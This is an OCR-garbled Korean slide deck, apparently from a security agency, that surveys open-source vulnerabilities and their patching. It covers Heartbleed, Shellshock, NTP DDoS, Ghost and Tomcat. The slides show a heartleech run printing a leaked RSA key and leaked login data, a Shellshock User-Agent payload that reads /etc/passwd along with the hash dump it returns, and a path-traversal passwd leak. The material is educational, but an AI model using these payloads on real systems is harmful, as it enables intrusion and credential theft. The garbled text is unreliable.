uhong@Kkisa.or.kr
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p E LA AE BiE

OSl Affiliates, May 1, 2013 N

@ @debian | Q D
Y \W¥ Drupal
A cenatic

L e i @ nL‘I.NUX LinuxFund.or
oo O B D
d FreeBSD,

oWz

T 4 OUTERCUrVE

OpenSource
* NZOSS | T Kotiware institore
mgnzl\lrl.loa" T
SAHANA
@ Plone’ i Pytros o
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2. HOF F R Al
> SIE BE|=
> @l &3
» NTP Reflection DDoS
» Ghost
> Ofi}x]|
» CMS
> LIE L E90]




2. H9I FotF Al (SIEELIE)

-

> SIE EE|=
— OpenSSL 2o 282 oAM THAE FUF

o M

SlES2E, A 2| 2ot 11 AT = JHUHE-

I -0 4/04/09 0313

02

22 AR Y HT StESR|E H|Y.X
2] oY &
— 1

+3H

= £

23




2. 5Ot U Al (SIEECIE

> SIE BiE|=

—_9o O = L ==
— HeartBeat 7|52 &8¢t M 22| +5
OpenSSL A{H]
AOIZ — HIO[E ANAE o2l
4000 "ABCD" T
H| & A=
Heartbeat_request AFO| = 50| & .lkl:%i;z
— >
< 40 _
Heartbeat_response + 0x 40 00
binerdd@ubuntu:~/heartleech-master/bin/kali32s ./heartleech wisegeek.com -a I

0 bytes downloaded
BEGIN RSA PRIVATE KEY
MIIEowIBAAKCAQEAG6SHK61EEIt1QzknFnYSQM7srobd3uKY13IBgRTI7I96QNCmNsS
pHQ1bn4kyYDddAsS7nAPdM2FCAhbWal+/pXfZ1x9VpXDR7KCEROGD5Y 7GgMLXdQOB
rb5QomHL39bVSG4GSeYLS5uagCom8bd j4iHSK1sqnePx8eXT5ZHFbiHhERQkehb1

rFQY+36WKB+zSMT1TWS7+HYv2p0g6 jALUN+YP3UeRM6zGt41RekVmeaEL /H2WEN2
kEF /PNrkvim21VbhJjFI1i01hOFNCT+Npf63/VOUuL+188NP11138b+0S5bIeZju
INJyPbXOCENTMULlbn81ikXkaXkuHcId15zRWIoQIDAQABAOIBADULQOYZqf04uB80
ujn6alugghCY3nX9ikwGB+w+U2VUxIRHKVVi0FSonH2u/szhcqlSSC7auQ3g3uiD
X1D9TWE1B41aUQC94j9DFQCY rRXVWU3t6rYM2ZLASAOP32Y81ZcGa66BEZKTBeOF]
iT+XrilxsvljaVhXqEKBRIyipIgbu/1fS7RtYUeB8zDTh21xB7WtIL6RLwdbgbaDr

oZmbBmocKgpdX4D1eJPprOpgNxA3KkMayICiBYLiM7+/J1i1viMTO9vIa4
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2. HOF FouX Al (SIE

e ™
> 2o} ol
[ S
/* Read type and pavload length first */
hbtype = *pt++;
nZ2s({p, pavload);
pl = p;
/* Read type and payload length first */
if (1 + 2 + 16 >» s-»s3->rrec.length)
return 0; /* silently discard */
hbtype = *p++;
nEs{p, payload];
if (1 + 2 + payload + 16 > s—->»s3->rrec.length)
return 0; /* silently discard per BRFC 6520 sec. 4 */
pl = p;
\. y,




250;||=

AlEI(SIEEEIE)

> &1 AlE

J]

- o IEN

Untitled - Notepad

0700:
0710:
0720:
0730:
0740:
0750:
0760:
0770:
0780:
0790:
07a0:
07b0:

8C
26
A9
6A
30
6E
75
3D
67
68
59
32

9c
70
13
66
26
38
69
26
3D
61
26
46

20
61

96 CA Al

61
73

6A 6D

2E
31
72
2E
26
73
2E
25

63
52
61
65
73
4D
64
32

[Fnle Edn Format \few Help |

..-a_2605&.save= A
&passwd_raw=...0
..... 5..y+ ..u=c
Ffim1h9k7m60&. v=
0&.challenge=gz7
n81R1RMCjIGIogb3
uira.mm6a&.yplus
=&.emailCode=&pk
g=&stepid=&.ev=&
hasMsgr=0&. chkP=
Y&.done=http%3A%
piy¥iamail . yahoo.
com&. pd=ym ver%3
DO%26c%3D%26ivtY
3D%26s5g%3D& . ws=1

3D
6F
63
3D
37
33
73
68
26
3D
25

65
CE
3D
76
7A
62
75
70
3D
50
41

76
14
75
2E
67
71
6C
26
76
68
33
6F

61
06
2E
26
3D
6F
70
3D
65
68
25
68

73
3D
BC
30
65
4A
79
65
2E
63
70
61

2E
77
20
36
67
47
2E
64
26
2E
74
79

26
61
2B
6D
6E
49
26
6F
3D
26
74
2E

35
72
79
37
65
6A
61
43
64
3e
68
6C

3e
SF
11
68
6C
43
36
6C
69
3D
3D

SF
73

32
77
35
68
61
52
6D
61
65
67
6E

36
64
1F
39
6C

31
68
6C
2E
6D
74
73
6F
46

60
69
70
72
65




2. K10 HOFN Al|(El £3)

e

» 4l £3(Shell Shock)

— Gnu BASHO| A &A= F 2FH

ShellShock
{bashbug}

& v

W

L AL
T

SW/ ROt

“StEZ2| =R} 2425 2 of | kX uizq”

—
AT HIAH DY, ElsA-REA AL ASHES - A A 50% 0|-& ERL

ZHHI|A

<5 “H MA A E ZE oA FeFE =24 g

X| T HIAIH T, 9JE) K| 2RE] AlXt




2. H1OF FOFR All(dll £3)

-

» 4ll 23(Shell Shock)
— CGI A2 AMHE OIA2ZE A2 F

CGI 0| X|
2EAHF ME

User-AgenllO { ), echo $(</etc/passwd) l
L

HTTP &7l




2. H1OF O8] Al (8l £3)

> FHof QI

If( privmode==0 && .... STREQN” “, string, 4) ) {

parse_and_execute(string, name, SEVAL_NONINT | SEVAL_NOHIST);
}

int parse_and_execute(char *string, char *from_file, int flags) {
while( *(bash_input.location.string) ) {

else if( command = global_command ) {
struct fd_bitmap *bitmap;




x|OFk
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2. K191

& Al (El £3)

> A Akl

Request

Raw | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender]

GET fuser.cgi HTTP/L.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Cookie:

Referer:

User-Agent:lO {1} echo $(<,-'etcfpasswd)|
Host: I

e

HTTR/1.1 200 QI

Date: Thu, 02 Oct 2014 01:09:55 GMT

Server: Apache/1.3.22 (Unix)

admin: $1%$jEIgSy8z$hdSsvCPudeDRakwadrwase 1001:1001:system admin,,,:,/homefadmin:/bin/bash
backup: *:34:34:backup:fvar/backups:/bin/sh

bin: *:2:2:hin:/bin/bin/sh

daemon: *1:1:daemon:jusr/shin:/bin/sh

ftp: 1:102:65534: /home/ftp:;/bin/false

games: *:5:60:games:/usr/games;/bin/sh

gnats: =:41:41:Gnats Bug-Reporting System (admin):fvar/lib/gnats:/bin/sh
identd: 1:100:65534: jvar/run/fidentd:/bin/false

irc: *:39:3%ircd: ivar/runfircd: /bin/sh

list: *:38:38:Mailing List Manager:/var/list/bin/sh

lp: =7:7:1p:varfspool/lpd:/bin/sh

mail: *:8:8:mail;fvar/mail/bin/sh

man: *:&:12:man:/varjcache/man:/bin/sh

news: *:9:9:news:/var/spool/news:/bin/sh

nobody: *:65534:65534:nobody:/nonexistent/bin/sh

operator: *:37:37:0perator;/var:/bin/sh

postgres: *:31:32:postgres;/var/lib/postgres:/bin/sh

proxy: *:13:13:proxy:/bin:;/bin/sh

root: $1$Q6wBmmvimlawH MfQDgP8.acrz4|E. 0:0root/root;/bin/bash
sshd: 1:101:65534 fvar/run/sshd:/bin/false

sync: *:4:65534:sync/bin/bin/sync

sys: *:3:3:sys/devi/bin/sh

telnetd: 11103103 /nonexistent /bin/false

tiger: $1$f2bzF x0FGRRU3sf/1TIAURCNZTVINL1002:1002:tiger admin,,,./homejtiger:/bin/bash
uuep: =10 10uucp:var/spoolfuucp:/bin/sh

www-data: =:33:33www-data: fvarfwww/bing/sh

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

Content-Length: 29987




2. 510 F 2R AlZ|(NTP DDoS)

» NTP Reflection DDoS

— NTP M & 0|88t DDoS 30| 7Hs 8t
2 DDoS &2 QIEOt. "NTPAH EotZ3t HM| 2"

DDoS &0 2t

[AEES]loT HOIel &

20144 HOf 12 DDoS &4, =




2. 5191 F{2F AIZI(NTP DDoS)

4 )

» NTP Reflection DDoS
— monlist 7| S 0| &35 & MEHof| Ci et DDoS ¢+

HIOIH =XIS
eizolol 2F

X 2%:234 byte / S 4460 byte




2. HOF FUF Al (ILAE)

-

p JIAE(Ghost)
— GNU C LibraryOll A 24AE F24+H

LA 2|54 Ghost H1 @HEZEZ2 Ry =2
£
SIEESC|E Hg7te el5A TIAET Fofy & A




2. HOF FUF AlH|(ILAE)

-

» JIAE(Ghost)
— gethostbyname &40 M QLHEESRE S6
QojiE A

< HE2E 2T >

< 022 AFS >

B -
\_I_)

4 byte

e

me) + 1

-

4 byte




2. HOF FUF Al (ILAE)

\.

> SHEES Mot

ol
— &¥ g, Hole 5= Ac|g i 9= HZ2e 2Ot
2 Ol O|E & SAtStE 4HJojA &

QT ==

SEUNipEbdN | . ER DCFCFFFF | CALL 884018085
aayd1329|| . 83ICh aC ADD ESP,
BB1ZFF88 Gianininink

| BO12FFBC| B8430A80

olA = S = F H
g S8 ¥ S0HE T4 N

B84 0810810 | A EBP
aaye1e11|| . BBEC MO EBP, ESP

SRR R @84B81329 | RETURH to 1.<{ModuleEntryPoint>+BE
@812FFBE| BOooaen2
@812FFBC| B80430A5A
B812FF98]| 80430988

® =04 F=A OverWrite
‘0401066 L GEGFNGGEEEE ST

BE12FF84 0
HE12FF88 | 41414141

AlSHS 2
Aol S E

ESI FFFFFFFF
EDI 7C940268 ntdll.7C948208
ELP
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. K10 F O Al (Ofi}X])

> Ofi}x]
- Qlo|TE M¥, MH|A AR 55

Search Results (Refine Search)
[There are 798 matching records

Displaying matches 1 through 20.

Search Parameters:

+ Keyword (text search): apache
+ Search Type: Search All
+ Contains Software Flaws (CVE)

CVE-2014-0227

Summary: java/org/apache/coyote/httpl1/filters/ChunkedInputFilter.java in Apache Tomcat 6.x before 6.0.42
attackers to conduct HTTP request smuggling attacks or cause a denial of service (resource consumption) by sti

Published: 2/15/2015 7:59:00 PM

CVSS Severity: 5.4 MEDIUM

CVE-2015-0227

Summary: Apache WS54] before 1.6.17 and 2.x before 2.0.2 allows remote attackers to bypass the requireSic
Published: 2/12/2015 11:59:02 AM

CVSS Severity: 5.0 MEDIUM




2. 10t F R Al|(OFIIX])

p O}}X| 2AESX
- H431E 49, dd HEE S

& v [ e

orEy  MEGEY RV SHEIA TR TEEH)
¥ Cooxie v|IZIIinI<5 on page: v|_u_d |F‘r|:|><y:{n|:|ne]l v|

ar EAHEY | o5 & =FH MIIE - g Get more Add-ons -

& http://192,168,108.50/vms/login, do?redirect:§, .,

rootix 0i0iroot oot bindash bint: 100 bin/biny/shindnologin daemon:=: 2120
zynchxbilisyncy/shindbindsyne shutdown = 610 shutdown:/sbin:/sbin/shutdc
uucps 101 4 uucp:Avar/spool/uucp:/shin/nologin operator:=: 11:0operator:/n
fipix 1A RODFTP UserAvarfip/shindnologin nobody 9993 Mobody: /A shindne
conzole memaory owner:/dey:/shinnologin ntp:x 3838 Jete/ntpe/shindnologir
apache:x: 48: 48 Apache: Avardwww: /shin/nologin avahix: 70070 Avahi daemon:,
smmapxhlklAvar/spool/maueus: /shindnologin sshdx 7474 Privilege—-=sep
oprofilex 16116 Special user account to be used by OProfile homesoprofile:,
U=zer:Avardib/nfs/sbin/nologin nfenobody: = 60534:65534: Anonyvmous MFS Ls
daemon://shin/nologin avahi-autoipd < 1000156 avahi—autoipd: AvardibAavahi-
uzer/homessabavon:/shin/nologin




2. 10t F R Al|(OFIIX])

> Ofulx| &H
- FRE YAE QB PHET 4

POST /dddd.jsE HTTP/1.1
cContent-Length: 40097

content-Type: multipart form-data;
43333334333333333433333333433433333343343333333334333333333433334343343333433333333343433333343343333334334334
43333333333333333333333333333343333333334333342333433334333343333343333333333343333333333433333333334333333333343333333334333
333333343334333333343334333333343333333333433333333333334333333343333333333433333343343333334334333333433433333333334333333333333
333333343334333333343334333333343333333333433333333333334333333343333333333433333343343333334334333333433433333333334333333333333
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
333333343333333333333333334343333333343333333334333333333333333333333333333343334333333433343333344333433333433334333334333433843
333333343334333333343334333333343333333333433333333333334333333343333333333433333343343333334334333333433433333333334333333333333
4333334333433333343334333333433433333343334333334433433333343343333334333333433433333343343333334334333333433343333334334333
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
43333333333333333333333333333333333333343333443334333343333433333333333333333333333333343333333333433333333343333333334333
333333343333333333333333334343333333343333333334333333333333333333333333333343334333333433343333344333433333433334333334333433843
333333343334333333343334333333343333333333433333333333334333333343333333333433333343343333334334333333433433333333334333333333333
4333334333433333343334333333433433333343334333334433433333343343333334333333433433333343343333334334333333433343333334334333
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
43333333333333333333333333333333333333343333443334333343333433333333333333333333333333343333333333433333333343333333334333
333333343334333333343334333333343333333333433333333333334333333343333333333433333343343333334334333333433433333333334333333333333
333333343334333333343334333333343333333333433333333333334333333343333333333433333343343333334334333333433433333333334333333333333
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
333333343333333333333333334343333333343333333334333333333333333333333333333343334333333433343333344333433333433334333334333433843
333333343334333333343334333333343333333333433333333333334333333343333333333433333343343333334334333333433433333333334333333333333
4333334333433333343334333333433433333343334333334433433333343343333334333333433433333343343333334334333333433343333334334333
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
43333333333333333333333333333333333333343333443334333343333433333333333333333333333333343333333333433333333343333333334333
333333343333333333333333334343333333343333333334333333333333333333333333333343334333333433343333344333433333433334333334333433843
333333343334333333343334333333343333333333433333333333334333333343333333333433333343343333334334333333433433333333334333333333333
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
2333333433343333333333333334343333333343333333334333333334333333333333433333334333433333334333433333434333433333434333333334333433843
333333343334333333343334333333343333333333433333333333334333333343333333333433333343343333334334333333433433333333334333333333333
4333334333433333343334333333433433333343334333334433433333343343333334333333433433333343343333334334333333433343333334334333
4333333333433333333333333333334333333333433334333343333434334333343433333343343333334334333334433433333433343333343334343443
43333333333333333333333333333333333333343333443334333343333433333333333333333333333333343333333333433333333343333333334333
3333333433333333333333333343433333333433333333343333433334
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» CMS
- A58 E HEEE, WordPress
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4 p
> LIZE 2lo|= 22|
2 = OI I. I = EI_.I I
eC|e, I8 £9 2}o =
: . =
— avi, mp4, jpg, png S
|
HOoLSX| B REd > 6oHET
by olojgE AlGH Fok® B0l HEO|E A 20131119
=
¢ O~EAZTERS ZW T2 J8HAM Uejp=d#0| 7T & 250E0| HHE
X UM ZE YN AFSEE B SER 1] 2T 2lo| =it FUH L
o ZENIESE HETTFE 0l0IA Ly TR S5 2 M| wal SN0 EEY 22, adacH o
UE £ 3US
e SEHTL YA MEREs A DE ZMHoz 0§ BERE, A~ 0 E2 I E UE - Yooz dEur
oy et H M e 2 HOolE A D




3. Fo4S E= dH

-

» HZA(Fuzzing)
— HZEX5 QA Zt AW HHE 3¢
- oY HEY ZT2EZE HE ...




3. FoE = Y

>

Jc= 2LC|El(Code Auditing)
AN GHoMe E A

-
bool read_json_beool{char* &sz, const \
i
int len = strlen{name); /
char fullname[256]="%""; |
strcpy(fullname+1,name) ; "\:‘
strcpy{fullname+len+1, ™\": ™)
5z = strstr{sz,fullname);
if (!sz) return false; Stl"pr
5Z += len+3; memcpy
if (*sz==" ") =zz++; intf
return (*sz=="1t"); Sprlnt

3 scanf

gets




> HYE ZLIEE

— KrCERT 228 X| (www.krcert.or.kr)
— UsCERT (www.us—cert.gov)

— reddit (www.reddit.com)

— Twitter, Facebook

— Z} OpenSource O & &H O| X|




4. LS S0t

> £7i2 HZ| BB
- x| Y A5l 715

- = &d/=A

- HE, SAFZ EE

0s R

YOolE oY

CentD5s

Redhat

yum clean all &8 yumn update bash

# RHN RIHO|E EA2 8470 =7 %8 AL
cd fetcfyum.repos.d
wvi rhel-debuginforepoE S8 Ol2ist 22 WE=22 OfH|

name=Cent05-Sreleasever - Uipdates

baseur|=hittp//mirror.centos.org/centos/S/updates Yhasearch/

gpgchedk=1

<rhel-debuginforepo OHY LIE BIA=
s = MEE HE I BEY 2
rpm —import bty mimoncentos.ong/centos (B{THO0) 2} 212
i - o —irmport. biprrimoncentoe ong/oentos, 5/os 486 SRRV EGREY-Cant 055

yum update bash

Uburntu

sudo apt-get update
sudo apt-get install --only-upgrade bash

Fedora

(1) H=ep 21 g}

su -C "yum -y install koji”

koji download-build --arch=%{uname -m) bash-43.25-2.fc21
su -C "yum localinstall bash-4.3.25-2fc21 $(uname -m).rpm”

{2) HEar 20

su -C "yum -y install koji”

koji download-build --arch=${uname -m) bash-4.2 48-2.fc20
su -c "yum localinstall bash-4.248-2 fc20 $(uname -m).rpm”
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Thank you



